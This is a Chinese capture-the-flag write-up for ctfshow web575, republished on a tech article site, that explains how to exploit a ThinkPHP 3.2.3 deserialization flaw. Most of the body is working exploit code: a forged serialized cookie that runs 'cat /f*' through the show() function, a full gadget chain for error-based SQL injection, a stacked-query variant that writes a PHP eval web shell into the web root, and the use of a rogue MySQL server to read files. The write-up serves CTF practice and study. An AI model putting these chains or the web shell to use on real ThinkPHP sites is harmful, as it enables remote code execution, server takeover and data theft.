IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow ThinkPHP篇575 -> 正文阅读

[PHP知识库]ctfshow ThinkPHP篇575

web575

给了源码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
	$user = M('Users');
	$user->find(intval($id));
	cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:

<?php
namespace Home\Controller{
class IndexController {
    public $id='1';   //get传入的id也要相同
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

bp抓包修改cookie
在这里插入图片描述
当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php在这里插入图片描述
接着全局搜索function destroy(

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
在这里插入图片描述
全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName是可控的,但是后面拼接了个空字符,当我们给$this->sessionName赋值数组,接着拼接上空字符串就会出问题了。

<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"

好在后面又调用了一次delete,并且传入的参数是完全可控的。
在这里插入图片描述
接着往下,可以看到调用了delete方法,并且$this->db我们可控。
在这里插入图片描述
那么我们就可以调用自带的数据库类中的delete()方法了。
在这里插入图片描述
这些类都是继承Driver.class.php下的Driver类。
在这里插入图片描述
我们找到里面的delete方法,发现最终的sql语句是delete from后面拼接上了$table$table是通过parseTable函数处理$options['table']得到的,$options['table']可控。
重点看下parseTable函数
在这里插入图片描述

如果我们的 t a b l e s 是 字 符 串 , 就 会 逗 号 分 隔 又 合 并 , 其 实 没 什 么 大 影 响 。 返 回 的 还 是 ‘ tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是` tablesoptions[‘table’]`的值。在这里插入图片描述
最后再来看下执行sql语句的execute函数
在这里插入图片描述
可以看到他首先执行了一个初始化,其实就是去连接数据库
在这里插入图片描述
在这里插入图片描述
第一个我们可以利用的点:报错注入

<?php

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

但是报错注入权限比较低,我们要想拿shell的话需要写入木马。所以可以开启堆叠后写入一句话木马.

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

我们前面说到可以控制服务器去连接任意数据库,所以就可以构造恶意mysql数据库让服务器去连接。
脚本地址https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改要读的文件和端口(不要用3306)
在这里插入图片描述
修改php脚本中的ip、端口、库名等配置
在这里插入图片描述
运行脚本后传入序列化的值等待接收文件内容。
在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-07 11:46:44  更:2021-08-07 11:48:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/8 6:07:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码